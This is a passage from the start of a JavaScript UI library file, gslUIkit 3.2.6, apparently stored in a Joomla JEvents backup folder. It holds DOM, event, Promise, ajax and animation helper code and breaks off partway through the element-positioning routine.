File: /home/confeduphaar/backip-old-files/media/com_jevents/js/uikit-core.js
/*! gslUIkit 3.2.6 | http://www.getuikit.com | (c) 2014 - 2019 YOOtheme | MIT License */
(function (global, factory) {
typeof exports === 'object' && typeof module !== 'undefined' ? module.exports = factory() :
typeof define === 'function' && define.amd ? define('uikit', factory) :
(global = global || self, global.gslUIkit = factory());
}(this, (function () { 'use strict';
var objPrototype = Object.prototype;
var hasOwnProperty = objPrototype.hasOwnProperty;
function hasOwn(obj, key) {
return hasOwnProperty.call(obj, key);
}
var hyphenateCache = {};
var hyphenateRe = /([a-z\d])([A-Z])/g;
function hyphenate(str) {
if (!(str in hyphenateCache)) {
hyphenateCache[str] = str
.replace(hyphenateRe, '$1-$2')
.toLowerCase();
}
return hyphenateCache[str];
}
var camelizeRe = /-(\w)/g;
function camelize(str) {
return str.replace(camelizeRe, toUpper);
}
function toUpper(_, c) {
return c ? c.toUpperCase() : '';
}
function ucfirst(str) {
return str.length ? toUpper(null, str.charAt(0)) + str.slice(1) : '';
}
var strPrototype = String.prototype;
var startsWithFn = strPrototype.startsWith || function (search) { return this.lastIndexOf(search, 0) === 0; };
function startsWith(str, search) {
return startsWithFn.call(str, search);
}
var endsWithFn = strPrototype.endsWith || function (search) { return this.substr(-search.length) === search; };
function endsWith(str, search) {
return endsWithFn.call(str, search);
}
var arrPrototype = Array.prototype;
var includesFn = function (search, i) { return ~this.indexOf(search, i); };
var includesStr = strPrototype.includes || includesFn;
var includesArray = arrPrototype.includes || includesFn;
function includes(obj, search) {
return obj && (isString(obj) ? includesStr : includesArray).call(obj, search);
}
var findIndexFn = arrPrototype.findIndex || function (predicate) {
var arguments$1 = arguments;
for (var i = 0; i < this.length; i++) {
if (predicate.call(arguments$1[1], this[i], i, this)) {
return i;
}
}
return -1;
};
function findIndex(array, predicate) {
return findIndexFn.call(array, predicate);
}
var isArray = Array.isArray;
function isFunction(obj) {
return typeof obj === 'function';
}
function isObject(obj) {
return obj !== null && typeof obj === 'object';
}
var toString = objPrototype.toString;
function isPlainObject(obj) {
return toString.call(obj) === '[object Object]';
}
function isWindow(obj) {
return isObject(obj) && obj === obj.window;
}
function isDocument(obj) {
return isObject(obj) && obj.nodeType === 9;
}
function isJQuery(obj) {
return isObject(obj) && !!obj.jquery;
}
function isNode(obj) {
return isObject(obj) && obj.nodeType >= 1;
}
function isElement(obj) {
return isObject(obj) && obj.nodeType === 1;
}
function isNodeCollection(obj) {
return toString.call(obj).match(/^\[object (NodeList|HTMLCollection)\]$/);
}
function isBoolean(value) {
return typeof value === 'boolean';
}
function isString(value) {
return typeof value === 'string';
}
function isNumber(value) {
return typeof value === 'number';
}
function isNumeric(value) {
return isNumber(value) || isString(value) && !isNaN(value - parseFloat(value));
}
function isEmpty(obj) {
return !(isArray(obj)
? obj.length
: isObject(obj)
? Object.keys(obj).length
: false
);
}
function isUndefined(value) {
return value === void 0;
}
function toBoolean(value) {
return isBoolean(value)
? value
: value === 'true' || value === '1' || value === ''
? true
: value === 'false' || value === '0'
? false
: value;
}
function toNumber(value) {
var number = Number(value);
return !isNaN(number) ? number : false;
}
function toFloat(value) {
return parseFloat(value) || 0;
}
function toNode(element) {
return isNode(element)
? element
: isNodeCollection(element) || isJQuery(element)
? element[0]
: isArray(element)
? toNode(element[0])
: null;
}
function toNodes(element) {
return isNode(element)
? [element]
: isNodeCollection(element)
? arrPrototype.slice.call(element)
: isArray(element)
? element.map(toNode).filter(Boolean)
: isJQuery(element)
? element.toArray()
: [];
}
function toWindow(element) {
if (isWindow(element)) {
return element;
}
element = toNode(element);
return element
? (isDocument(element)
? element
: element.ownerDocument
).defaultView
: window;
}
function toList(value) {
return isArray(value)
? value
: isString(value)
? value.split(/,(?![^(]*\))/).map(function (value) { return isNumeric(value)
? toNumber(value)
: toBoolean(value.trim()); })
: [value];
}
function toMs(time) {
return !time
? 0
: endsWith(time, 'ms')
? toFloat(time)
: toFloat(time) * 1000;
}
function isEqual(value, other) {
return value === other
|| isObject(value)
&& isObject(other)
&& Object.keys(value).length === Object.keys(other).length
&& each(value, function (val, key) { return val === other[key]; });
}
function swap(value, a, b) {
return value.replace(new RegExp((a + "|" + b), 'mg'), function (match) {
return match === a ? b : a;
});
}
var assign = Object.assign || function (target) {
var args = [], len = arguments.length - 1;
while ( len-- > 0 ) args[ len ] = arguments[ len + 1 ];
target = Object(target);
for (var i = 0; i < args.length; i++) {
var source = args[i];
if (source !== null) {
for (var key in source) {
if (hasOwn(source, key)) {
target[key] = source[key];
}
}
}
}
return target;
};
function last(array) {
return array[array.length - 1];
}
function each(obj, cb) {
for (var key in obj) {
if (false === cb(obj[key], key)) {
return false;
}
}
return true;
}
function sortBy(array, prop) {
return array.sort(function (ref, ref$1) {
var propA = ref[prop]; if ( propA === void 0 ) propA = 0;
var propB = ref$1[prop]; if ( propB === void 0 ) propB = 0;
return propA > propB
? 1
: propB > propA
? -1
: 0;
}
);
}
function uniqueBy(array, prop) {
var seen = new Set();
return array.filter(function (ref) {
var check = ref[prop];
return seen.has(check)
? false
: seen.add(check) || true;
} // IE 11 does not return the Set object
);
}
function clamp(number, min, max) {
if ( min === void 0 ) min = 0;
if ( max === void 0 ) max = 1;
return Math.min(Math.max(toNumber(number) || 0, min), max);
}
function noop() {}
function intersectRect(r1, r2) {
return r1.left < r2.right &&
r1.right > r2.left &&
r1.top < r2.bottom &&
r1.bottom > r2.top;
}
function pointInRect(point, rect) {
return point.x <= rect.right &&
point.x >= rect.left &&
point.y <= rect.bottom &&
point.y >= rect.top;
}
var Dimensions = {
ratio: function(dimensions, prop, value) {
var obj;
var aProp = prop === 'width' ? 'height' : 'width';
return ( obj = {}, obj[aProp] = dimensions[prop] ? Math.round(value * dimensions[aProp] / dimensions[prop]) : dimensions[aProp], obj[prop] = value, obj );
},
contain: function(dimensions, maxDimensions) {
var this$1 = this;
dimensions = assign({}, dimensions);
each(dimensions, function (_, prop) { return dimensions = dimensions[prop] > maxDimensions[prop]
? this$1.ratio(dimensions, prop, maxDimensions[prop])
: dimensions; }
);
return dimensions;
},
cover: function(dimensions, maxDimensions) {
var this$1 = this;
dimensions = this.contain(dimensions, maxDimensions);
each(dimensions, function (_, prop) { return dimensions = dimensions[prop] < maxDimensions[prop]
? this$1.ratio(dimensions, prop, maxDimensions[prop])
: dimensions; }
);
return dimensions;
}
};
function attr(element, name, value) {
if (isObject(name)) {
for (var key in name) {
attr(element, key, name[key]);
}
return;
}
if (isUndefined(value)) {
element = toNode(element);
return element && element.getAttribute(name);
} else {
toNodes(element).forEach(function (element) {
if (isFunction(value)) {
value = value.call(element, attr(element, name));
}
if (value === null) {
removeAttr(element, name);
} else {
element.setAttribute(name, value);
}
});
}
}
function hasAttr(element, name) {
return toNodes(element).some(function (element) { return element.hasAttribute(name); });
}
function removeAttr(element, name) {
element = toNodes(element);
name.split(' ').forEach(function (name) { return element.forEach(function (element) { return element.hasAttribute(name) && element.removeAttribute(name); }
); }
);
}
function data(element, attribute) {
for (var i = 0, attrs = [attribute, ("data-" + attribute)]; i < attrs.length; i++) {
if (hasAttr(element, attrs[i])) {
return attr(element, attrs[i]);
}
}
}
/* global DocumentTouch */
var isIE = /msie|trident/i.test(window.navigator.userAgent);
var isRtl = attr(document.documentElement, 'dir') === 'rtl';
var hasTouchEvents = 'ontouchstart' in window;
var hasPointerEvents = window.PointerEvent;
var hasTouch = hasTouchEvents
|| window.DocumentTouch && document instanceof DocumentTouch
|| navigator.maxTouchPoints; // IE >=11
var pointerDown = hasPointerEvents ? 'pointerdown' : hasTouchEvents ? 'touchstart' : 'mousedown';
var pointerMove = hasPointerEvents ? 'pointermove' : hasTouchEvents ? 'touchmove' : 'mousemove';
var pointerUp = hasPointerEvents ? 'pointerup' : hasTouchEvents ? 'touchend' : 'mouseup';
var pointerEnter = hasPointerEvents ? 'pointerenter' : hasTouchEvents ? '' : 'mouseenter';
var pointerLeave = hasPointerEvents ? 'pointerleave' : hasTouchEvents ? '' : 'mouseleave';
var pointerCancel = hasPointerEvents ? 'pointercancel' : 'touchcancel';
function query(selector, context) {
return toNode(selector) || find(selector, getContext(selector, context));
}
function queryAll(selector, context) {
var nodes = toNodes(selector);
return nodes.length && nodes || findAll(selector, getContext(selector, context));
}
function getContext(selector, context) {
if ( context === void 0 ) context = document;
return isContextSelector(selector) || isDocument(context)
? context
: context.ownerDocument;
}
function find(selector, context) {
return toNode(_query(selector, context, 'querySelector'));
}
function findAll(selector, context) {
return toNodes(_query(selector, context, 'querySelectorAll'));
}
function _query(selector, context, queryFn) {
if ( context === void 0 ) context = document;
if (!selector || !isString(selector)) {
return null;
}
selector = selector.replace(contextSanitizeRe, '$1 *');
var removes;
if (isContextSelector(selector)) {
removes = [];
selector = splitSelector(selector).map(function (selector, i) {
var ctx = context;
if (selector[0] === '!') {
var selectors = selector.substr(1).trim().split(' ');
ctx = closest(parent(context), selectors[0]);
selector = selectors.slice(1).join(' ').trim();
}
if (selector[0] === '-') {
var selectors$1 = selector.substr(1).trim().split(' ');
var prev = (ctx || context).previousElementSibling;
ctx = matches(prev, selector.substr(1)) ? prev : null;
selector = selectors$1.slice(1).join(' ');
}
if (!ctx) {
return null;
}
if (!ctx.id) {
ctx.id = "gsl-" + (Date.now()) + i;
removes.push(function () { return removeAttr(ctx, 'id'); });
}
return ("#" + (escape(ctx.id)) + " " + selector);
}).filter(Boolean).join(',');
context = document;
}
try {
return context[queryFn](selector);
} catch (e) {
return null;
} finally {
removes && removes.forEach(function (remove) { return remove(); });
}
}
var contextSelectorRe = /(^|[^\\],)\s*[!>+~-]/;
var contextSanitizeRe = /([!>+~-])(?=\s+[!>+~-]|\s*$)/g;
function isContextSelector(selector) {
return isString(selector) && selector.match(contextSelectorRe);
}
var selectorRe = /.*?[^\\](?:,|$)/g;
function splitSelector(selector) {
return selector.match(selectorRe).map(function (selector) { return selector.replace(/,$/, '').trim(); });
}
var elProto = Element.prototype;
var matchesFn = elProto.matches || elProto.webkitMatchesSelector || elProto.msMatchesSelector;
function matches(element, selector) {
return toNodes(element).some(function (element) { return matchesFn.call(element, selector); });
}
var closestFn = elProto.closest || function (selector) {
var ancestor = this;
do {
if (matches(ancestor, selector)) {
return ancestor;
}
} while ((ancestor = parent(ancestor)));
};
function closest(element, selector) {
if (startsWith(selector, '>')) {
selector = selector.slice(1);
}
return isElement(element)
? closestFn.call(element, selector)
: toNodes(element).map(function (element) { return closest(element, selector); }).filter(Boolean);
}
function parent(element) {
element = toNode(element);
return element && isElement(element.parentNode) && element.parentNode;
}
function parents(element, selector) {
var elements = [];
while ((element = parent(element))) {
if (!selector || matches(element, selector)) {
elements.push(element);
}
}
return elements;
}
function children(element, selector) {
element = toNode(element);
var children = element ? toNodes(element.children) : [];
return selector ? children.filter(function (element) { return matches(element, selector); }) : children;
}
var escapeFn = window.CSS && CSS.escape || function (css) { return css.replace(/([^\x7f-\uFFFF\w-])/g, function (match) { return ("\\" + match); }); };
function escape(css) {
return isString(css) ? escapeFn.call(null, css) : '';
}
var voidElements = {
area: true,
base: true,
br: true,
col: true,
embed: true,
hr: true,
img: true,
input: true,
keygen: true,
link: true,
menuitem: true,
meta: true,
param: true,
source: true,
track: true,
wbr: true
};
function isVoidElement(element) {
return toNodes(element).some(function (element) { return voidElements[element.tagName.toLowerCase()]; });
}
function isVisible(element) {
return toNodes(element).some(function (element) { return element.offsetWidth || element.offsetHeight || element.getClientRects().length; });
}
var selInput = 'input,select,textarea,button';
function isInput(element) {
return toNodes(element).some(function (element) { return matches(element, selInput); });
}
function filter(element, selector) {
return toNodes(element).filter(function (element) { return matches(element, selector); });
}
function within(element, selector) {
return !isString(selector)
? element === selector || (isDocument(selector)
? selector.documentElement
: toNode(selector)).contains(toNode(element)) // IE 11 document does not implement contains
: matches(element, selector) || closest(element, selector);
}
function on() {
var args = [], len = arguments.length;
while ( len-- ) args[ len ] = arguments[ len ];
var ref = getArgs(args);
var targets = ref[0];
var type = ref[1];
var selector = ref[2];
var listener = ref[3];
var useCapture = ref[4];
targets = toEventTargets(targets);
if (listener.length > 1) {
listener = detail(listener);
}
if (useCapture && useCapture.self) {
listener = selfFilter(listener);
}
if (selector) {
listener = delegate(targets, selector, listener);
}
useCapture = useCaptureFilter(useCapture);
type.split(' ').forEach(function (type) { return targets.forEach(function (target) { return target.addEventListener(type, listener, useCapture); }
); }
);
return function () { return off(targets, type, listener, useCapture); };
}
function off(targets, type, listener, useCapture) {
if ( useCapture === void 0 ) useCapture = false;
useCapture = useCaptureFilter(useCapture);
targets = toEventTargets(targets);
type.split(' ').forEach(function (type) { return targets.forEach(function (target) { return target.removeEventListener(type, listener, useCapture); }
); }
);
}
function once() {
var args = [], len = arguments.length;
while ( len-- ) args[ len ] = arguments[ len ];
var ref = getArgs(args);
var element = ref[0];
var type = ref[1];
var selector = ref[2];
var listener = ref[3];
var useCapture = ref[4];
var condition = ref[5];
var off = on(element, type, selector, function (e) {
var result = !condition || condition(e);
if (result) {
off();
listener(e, result);
}
}, useCapture);
return off;
}
function trigger(targets, event, detail) {
return toEventTargets(targets).reduce(function (notCanceled, target) { return notCanceled && target.dispatchEvent(createEvent(event, true, true, detail)); }
, true);
}
function createEvent(e, bubbles, cancelable, detail) {
if ( bubbles === void 0 ) bubbles = true;
if ( cancelable === void 0 ) cancelable = false;
if (isString(e)) {
var event = document.createEvent('CustomEvent'); // IE 11
event.initCustomEvent(e, bubbles, cancelable, detail);
e = event;
}
return e;
}
function getArgs(args) {
if (isFunction(args[2])) {
args.splice(2, 0, false);
}
return args;
}
function delegate(delegates, selector, listener) {
var this$1 = this;
return function (e) {
delegates.forEach(function (delegate) {
var current = selector[0] === '>'
? findAll(selector, delegate).reverse().filter(function (element) { return within(e.target, element); })[0]
: closest(e.target, selector);
if (current) {
e.delegate = delegate;
e.current = current;
listener.call(this$1, e);
}
});
};
}
function detail(listener) {
return function (e) { return isArray(e.detail) ? listener.apply(void 0, [e].concat(e.detail)) : listener(e); };
}
function selfFilter(listener) {
return function (e) {
if (e.target === e.currentTarget || e.target === e.current) {
return listener.call(null, e);
}
};
}
function useCaptureFilter(options) {
return options && isIE && !isBoolean(options)
? !!options.capture
: options;
}
function isEventTarget(target) {
return target && 'addEventListener' in target;
}
function toEventTarget(target) {
return isEventTarget(target) ? target : toNode(target);
}
function toEventTargets(target) {
return isArray(target)
? target.map(toEventTarget).filter(Boolean)
: isString(target)
? findAll(target)
: isEventTarget(target)
? [target]
: toNodes(target);
}
function isTouch(e) {
return e.pointerType === 'touch' || !!e.touches;
}
function getEventPos(e, prop) {
if ( prop === void 0 ) prop = 'client';
var touches = e.touches;
var changedTouches = e.changedTouches;
var ref = touches && touches[0] || changedTouches && changedTouches[0] || e;
var x = ref[(prop + "X")];
var y = ref[(prop + "Y")];
return {x: x, y: y};
}
/* global setImmediate */
var Promise = 'Promise' in window ? window.Promise : PromiseFn;
var Deferred = function() {
var this$1 = this;
this.promise = new Promise(function (resolve, reject) {
this$1.reject = reject;
this$1.resolve = resolve;
});
};
/**
* Promises/A+ polyfill v1.1.4 (https://github.com/bramstein/promis)
*/
var RESOLVED = 0;
var REJECTED = 1;
var PENDING = 2;
var async = 'setImmediate' in window ? setImmediate : setTimeout;
function PromiseFn(executor) {
this.state = PENDING;
this.value = undefined;
this.deferred = [];
var promise = this;
try {
executor(
function (x) {
promise.resolve(x);
},
function (r) {
promise.reject(r);
}
);
} catch (e) {
promise.reject(e);
}
}
PromiseFn.reject = function (r) {
return new PromiseFn(function (resolve, reject) {
reject(r);
});
};
PromiseFn.resolve = function (x) {
return new PromiseFn(function (resolve, reject) {
resolve(x);
});
};
PromiseFn.all = function all(iterable) {
return new PromiseFn(function (resolve, reject) {
var result = [];
var count = 0;
if (iterable.length === 0) {
resolve(result);
}
function resolver(i) {
return function (x) {
result[i] = x;
count += 1;
if (count === iterable.length) {
resolve(result);
}
};
}
for (var i = 0; i < iterable.length; i += 1) {
PromiseFn.resolve(iterable[i]).then(resolver(i), reject);
}
});
};
PromiseFn.race = function race(iterable) {
return new PromiseFn(function (resolve, reject) {
for (var i = 0; i < iterable.length; i += 1) {
PromiseFn.resolve(iterable[i]).then(resolve, reject);
}
});
};
var p = PromiseFn.prototype;
p.resolve = function resolve(x) {
var promise = this;
if (promise.state === PENDING) {
if (x === promise) {
throw new TypeError('Promise settled with itself.');
}
var called = false;
try {
var then = x && x.then;
if (x !== null && isObject(x) && isFunction(then)) {
then.call(
x,
function (x) {
if (!called) {
promise.resolve(x);
}
called = true;
},
function (r) {
if (!called) {
promise.reject(r);
}
called = true;
}
);
return;
}
} catch (e) {
if (!called) {
promise.reject(e);
}
return;
}
promise.state = RESOLVED;
promise.value = x;
promise.notify();
}
};
p.reject = function reject(reason) {
var promise = this;
if (promise.state === PENDING) {
if (reason === promise) {
throw new TypeError('Promise settled with itself.');
}
promise.state = REJECTED;
promise.value = reason;
promise.notify();
}
};
p.notify = function notify() {
var this$1 = this;
async(function () {
if (this$1.state !== PENDING) {
while (this$1.deferred.length) {
var ref = this$1.deferred.shift();
var onResolved = ref[0];
var onRejected = ref[1];
var resolve = ref[2];
var reject = ref[3];
try {
if (this$1.state === RESOLVED) {
if (isFunction(onResolved)) {
resolve(onResolved.call(undefined, this$1.value));
} else {
resolve(this$1.value);
}
} else if (this$1.state === REJECTED) {
if (isFunction(onRejected)) {
resolve(onRejected.call(undefined, this$1.value));
} else {
reject(this$1.value);
}
}
} catch (e) {
reject(e);
}
}
}
});
};
p.then = function then(onResolved, onRejected) {
var this$1 = this;
return new PromiseFn(function (resolve, reject) {
this$1.deferred.push([onResolved, onRejected, resolve, reject]);
this$1.notify();
});
};
p.catch = function (onRejected) {
return this.then(undefined, onRejected);
};
function ajax(url, options) {
return new Promise(function (resolve, reject) {
var env = assign({
data: null,
method: 'GET',
headers: {},
xhr: new XMLHttpRequest(),
beforeSend: noop,
responseType: ''
}, options);
env.beforeSend(env);
var xhr = env.xhr;
for (var prop in env) {
if (prop in xhr) {
try {
xhr[prop] = env[prop];
} catch (e) {}
}
}
xhr.open(env.method.toUpperCase(), url);
for (var header in env.headers) {
xhr.setRequestHeader(header, env.headers[header]);
}
on(xhr, 'load', function () {
if (xhr.status === 0 || xhr.status >= 200 && xhr.status < 300 || xhr.status === 304) {
resolve(xhr);
} else {
reject(assign(Error(xhr.statusText), {
xhr: xhr,
status: xhr.status
}));
}
});
on(xhr, 'error', function () { return reject(assign(Error('Network Error'), {xhr: xhr})); });
on(xhr, 'timeout', function () { return reject(assign(Error('Network Timeout'), {xhr: xhr})); });
xhr.send(env.data);
});
}
function getImage(src, srcset, sizes) {
return new Promise(function (resolve, reject) {
var img = new Image();
img.onerror = reject;
img.onload = function () { return resolve(img); };
sizes && (img.sizes = sizes);
srcset && (img.srcset = srcset);
img.src = src;
});
}
function ready(fn) {
if (document.readyState !== 'loading') {
fn();
return;
}
var unbind = on(document, 'DOMContentLoaded', function () {
unbind();
fn();
});
}
function index(element, ref) {
return ref
? toNodes(element).indexOf(toNode(ref))
: children(parent(element)).indexOf(element);
}
function getIndex(i, elements, current, finite) {
if ( current === void 0 ) current = 0;
if ( finite === void 0 ) finite = false;
elements = toNodes(elements);
var length = elements.length;
i = isNumeric(i)
? toNumber(i)
: i === 'next'
? current + 1
: i === 'previous'
? current - 1
: index(elements, i);
if (finite) {
return clamp(i, 0, length - 1);
}
i %= length;
return i < 0 ? i + length : i;
}
function empty(element) {
element = $(element);
element.innerHTML = '';
return element;
}
function html(parent, html) {
parent = $(parent);
return isUndefined(html)
? parent.innerHTML
: append(parent.hasChildNodes() ? empty(parent) : parent, html);
}
function prepend(parent, element) {
parent = $(parent);
if (!parent.hasChildNodes()) {
return append(parent, element);
} else {
return insertNodes(element, function (element) { return parent.insertBefore(element, parent.firstChild); });
}
}
function append(parent, element) {
parent = $(parent);
return insertNodes(element, function (element) { return parent.appendChild(element); });
}
function before(ref, element) {
ref = $(ref);
return insertNodes(element, function (element) { return ref.parentNode.insertBefore(element, ref); });
}
function after(ref, element) {
ref = $(ref);
return insertNodes(element, function (element) { return ref.nextSibling
? before(ref.nextSibling, element)
: append(ref.parentNode, element); }
);
}
function insertNodes(element, fn) {
element = isString(element) ? fragment(element) : element;
return element
? 'length' in element
? toNodes(element).map(fn)
: fn(element)
: null;
}
function remove(element) {
toNodes(element).map(function (element) { return element.parentNode && element.parentNode.removeChild(element); });
}
function wrapAll(element, structure) {
structure = toNode(before(element, structure));
while (structure.firstChild) {
structure = structure.firstChild;
}
append(structure, element);
return structure;
}
function wrapInner(element, structure) {
return toNodes(toNodes(element).map(function (element) { return element.hasChildNodes ? wrapAll(toNodes(element.childNodes), structure) : append(element, structure); }
));
}
function unwrap(element) {
toNodes(element)
.map(parent)
.filter(function (value, index, self) { return self.indexOf(value) === index; })
.forEach(function (parent) {
before(parent, parent.childNodes);
remove(parent);
});
}
var fragmentRe = /^\s*<(\w+|!)[^>]*>/;
var singleTagRe = /^<(\w+)\s*\/?>(?:<\/\1>)?$/;
function fragment(html) {
var matches = singleTagRe.exec(html);
if (matches) {
return document.createElement(matches[1]);
}
var container = document.createElement('div');
if (fragmentRe.test(html)) {
container.insertAdjacentHTML('beforeend', html.trim());
} else {
container.textContent = html;
}
return container.childNodes.length > 1 ? toNodes(container.childNodes) : container.firstChild;
}
function apply(node, fn) {
if (!isElement(node)) {
return;
}
fn(node);
node = node.firstElementChild;
while (node) {
var next = node.nextElementSibling;
apply(node, fn);
node = next;
}
}
function $(selector, context) {
return !isString(selector)
? toNode(selector)
: isHtml(selector)
? toNode(fragment(selector))
: find(selector, context);
}
function $$(selector, context) {
return !isString(selector)
? toNodes(selector)
: isHtml(selector)
? toNodes(fragment(selector))
: findAll(selector, context);
}
function isHtml(str) {
return str[0] === '<' || str.match(/^\s*</);
}
function addClass(element) {
var args = [], len = arguments.length - 1;
while ( len-- > 0 ) args[ len ] = arguments[ len + 1 ];
apply$1(element, args, 'add');
}
function removeClass(element) {
var args = [], len = arguments.length - 1;
while ( len-- > 0 ) args[ len ] = arguments[ len + 1 ];
apply$1(element, args, 'remove');
}
function removeClasses(element, cls) {
attr(element, 'class', function (value) { return (value || '').replace(new RegExp(("\\b" + cls + "\\b"), 'g'), ''); });
}
function replaceClass(element) {
var args = [], len = arguments.length - 1;
while ( len-- > 0 ) args[ len ] = arguments[ len + 1 ];
args[0] && removeClass(element, args[0]);
args[1] && addClass(element, args[1]);
}
function hasClass(element, cls) {
return cls && toNodes(element).some(function (element) { return element.classList.contains(cls.split(' ')[0]); });
}
function toggleClass(element) {
var args = [], len = arguments.length - 1;
while ( len-- > 0 ) args[ len ] = arguments[ len + 1 ];
if (!args.length) {
return;
}
args = getArgs$1(args);
var force = !isString(last(args)) ? args.pop() : []; // in iOS 9.3 force === undefined evaluates to false
args = args.filter(Boolean);
toNodes(element).forEach(function (ref) {
var classList = ref.classList;
for (var i = 0; i < args.length; i++) {
supports.Force
? classList.toggle.apply(classList, [args[i]].concat(force))
: (classList[(!isUndefined(force) ? force : !classList.contains(args[i])) ? 'add' : 'remove'](args[i]));
}
});
}
function apply$1(element, args, fn) {
args = getArgs$1(args).filter(Boolean);
args.length && toNodes(element).forEach(function (ref) {
var classList = ref.classList;
supports.Multiple
? classList[fn].apply(classList, args)
: args.forEach(function (cls) { return classList[fn](cls); });
});
}
function getArgs$1(args) {
return args.reduce(function (args, arg) { return args.concat.call(args, isString(arg) && includes(arg, ' ') ? arg.trim().split(' ') : arg); }
, []);
}
// IE 11
var supports = {
get Multiple() {
return this.get('_multiple');
},
get Force() {
return this.get('_force');
},
get: function(key) {
if (!hasOwn(this, key)) {
var ref = document.createElement('_');
var classList = ref.classList;
classList.add('a', 'b');
classList.toggle('c', false);
this._multiple = classList.contains('b');
this._force = !classList.contains('c');
}
return this[key];
}
};
var cssNumber = {
'animation-iteration-count': true,
'column-count': true,
'fill-opacity': true,
'flex-grow': true,
'flex-shrink': true,
'font-weight': true,
'line-height': true,
'opacity': true,
'order': true,
'orphans': true,
'stroke-dasharray': true,
'stroke-dashoffset': true,
'widows': true,
'z-index': true,
'zoom': true
};
function css(element, property, value) {
return toNodes(element).map(function (element) {
if (isString(property)) {
property = propName(property);
if (isUndefined(value)) {
return getStyle(element, property);
} else if (!value && !isNumber(value)) {
element.style.removeProperty(property);
} else {
element.style[property] = isNumeric(value) && !cssNumber[property] ? (value + "px") : value;
}
} else if (isArray(property)) {
var styles = getStyles(element);
return property.reduce(function (props, property) {
props[property] = styles[propName(property)];
return props;
}, {});
} else if (isObject(property)) {
each(property, function (value, property) { return css(element, property, value); });
}
return element;
})[0];
}
function getStyles(element, pseudoElt) {
element = toNode(element);
return element.ownerDocument.defaultView.getComputedStyle(element, pseudoElt);
}
function getStyle(element, property, pseudoElt) {
return getStyles(element, pseudoElt)[property];
}
var vars = {};
function getCssVar(name) {
var docEl = document.documentElement;
if (!isIE) {
return getStyles(docEl).getPropertyValue(("--gsl-" + name));
}
if (!(name in vars)) {
/* usage in css: .gsl-name:before { content:"xyz" } */
var element = append(docEl, document.createElement('div'));
addClass(element, ("gsl-" + name));
vars[name] = getStyle(element, 'content', ':before').replace(/^["'](.*)["']$/, '$1');
remove(element);
}
return vars[name];
}
var cssProps = {};
function propName(name) {
var ret = cssProps[name];
if (!ret) {
ret = cssProps[name] = vendorPropName(name) || name;
}
return ret;
}
var cssPrefixes = ['webkit', 'moz', 'ms'];
function vendorPropName(name) {
name = hyphenate(name);
var ref = document.documentElement;
var style = ref.style;
if (name in style) {
return name;
}
var i = cssPrefixes.length, prefixedName;
while (i--) {
prefixedName = "-" + (cssPrefixes[i]) + "-" + name;
if (prefixedName in style) {
return prefixedName;
}
}
}
function transition(element, props, duration, timing) {
if ( duration === void 0 ) duration = 400;
if ( timing === void 0 ) timing = 'linear';
return Promise.all(toNodes(element).map(function (element) { return new Promise(function (resolve, reject) {
for (var name in props) {
var value = css(element, name);
if (value === '') {
css(element, name, value);
}
}
var timer = setTimeout(function () { return trigger(element, 'transitionend'); }, duration);
once(element, 'transitionend transitioncanceled', function (ref) {
var type = ref.type;
clearTimeout(timer);
removeClass(element, 'gsl-transition');
css(element, {
transitionProperty: '',
transitionDuration: '',
transitionTimingFunction: ''
});
type === 'transitioncanceled' ? reject() : resolve();
}, {self: true});
addClass(element, 'gsl-transition');
css(element, assign({
transitionProperty: Object.keys(props).map(propName).join(','),
transitionDuration: (duration + "ms"),
transitionTimingFunction: timing
}, props));
}); }
));
}
var Transition = {
start: transition,
stop: function(element) {
trigger(element, 'transitionend');
return Promise.resolve();
},
cancel: function(element) {
trigger(element, 'transitioncanceled');
},
inProgress: function(element) {
return hasClass(element, 'gsl-transition');
}
};
var animationPrefix = 'gsl-animation-';
var clsCancelAnimation = 'gsl-cancel-animation';
function animate(element, animation, duration, origin, out) {
var arguments$1 = arguments;
if ( duration === void 0 ) duration = 200;
return Promise.all(toNodes(element).map(function (element) { return new Promise(function (resolve, reject) {
if (hasClass(element, clsCancelAnimation)) {
requestAnimationFrame(function () { return Promise.resolve().then(function () { return animate.apply(void 0, arguments$1).then(resolve, reject); }
); }
);
return;
}
var cls = animation + " " + animationPrefix + (out ? 'leave' : 'enter');
if (startsWith(animation, animationPrefix)) {
if (origin) {
cls += " gsl-transform-origin-" + origin;
}
if (out) {
cls += " " + animationPrefix + "reverse";
}
}
reset();
once(element, 'animationend animationcancel', function (ref) {
var type = ref.type;
var hasReset = false;
if (type === 'animationcancel') {
reject();
reset();
} else {
resolve();
Promise.resolve().then(function () {
hasReset = true;
reset();
});
}
requestAnimationFrame(function () {
if (!hasReset) {
addClass(element, clsCancelAnimation);
requestAnimationFrame(function () { return removeClass(element, clsCancelAnimation); });
}
});
}, {self: true});
css(element, 'animationDuration', (duration + "ms"));
addClass(element, cls);
function reset() {
css(element, 'animationDuration', '');
removeClasses(element, (animationPrefix + "\\S*"));
}
}); }
));
}
var inProgress = new RegExp((animationPrefix + "(enter|leave)"));
var Animation = {
in: function(element, animation, duration, origin) {
return animate(element, animation, duration, origin, false);
},
out: function(element, animation, duration, origin) {
return animate(element, animation, duration, origin, true);
},
inProgress: function(element) {
return inProgress.test(attr(element, 'class'));
},
cancel: function(element) {
trigger(element, 'animationcancel');
}
};
var dirs = {
width: ['x', 'left', 'right'],
height: ['y', 'top', 'bottom']
};
function positionAt(element, target, elAttach, targetAttach, elOffset, targetOffset, flip, boundary) {
elAttach = getPos(elAttach);
targetAttach = getPos(targetAttach);
var flipped = {element: elAttach, target: targetAttach};
if (!element || !target) {
return flipped;
}
var dim = getDimensions(element);
var targetDim = getDimensions(target);
var position = targetDim;
moveTo(position, elAttach, dim, -1);
moveTo(position, targetAttach, targetDim, 1);
elOffset = getOffsets(elOffset, dim.width, dim.height);
targetOffset = getOffsets(targetOffset, targetDim.width, targetDim.height);
elOffset['x'] += targetOffset['x'];
elOffset['y'] += targetOffset['y'];
position.left += elOffset['x'];
position.top += elOffset['y'];
if (flip) {
var boundaries = [getDimensions(toWindow(element))];
if (boundary) {
boundaries.unshift(getDimensions(boundary));
}
each(dirs, function (ref, prop) {
var dir = ref[0];
var align = ref[1];
var alignFlip = ref[2];
if (!(flip === true || includes(flip, dir))) {
return;
}
boundaries.some(function (boundary) {
var elemOffset = elAttach[dir] === align
? -dim[prop]
: elAttach[dir] === alignFlip
? dim[prop]
: 0;
var targetOffset = targetAttach[dir] === align
? targetDim[prop]
: targetAttach[dir] === alignFlip
? -targetDim[prop]
: 0;
if (position[align] < boundary[align] || position[align] + dim[prop] > boundary[alignFlip]) {
var centerOffset = dim[prop] / 2;
var centerTargetOffset = targetAttach[dir] === 'center' ? -targetDim[prop] / 2 : 0;
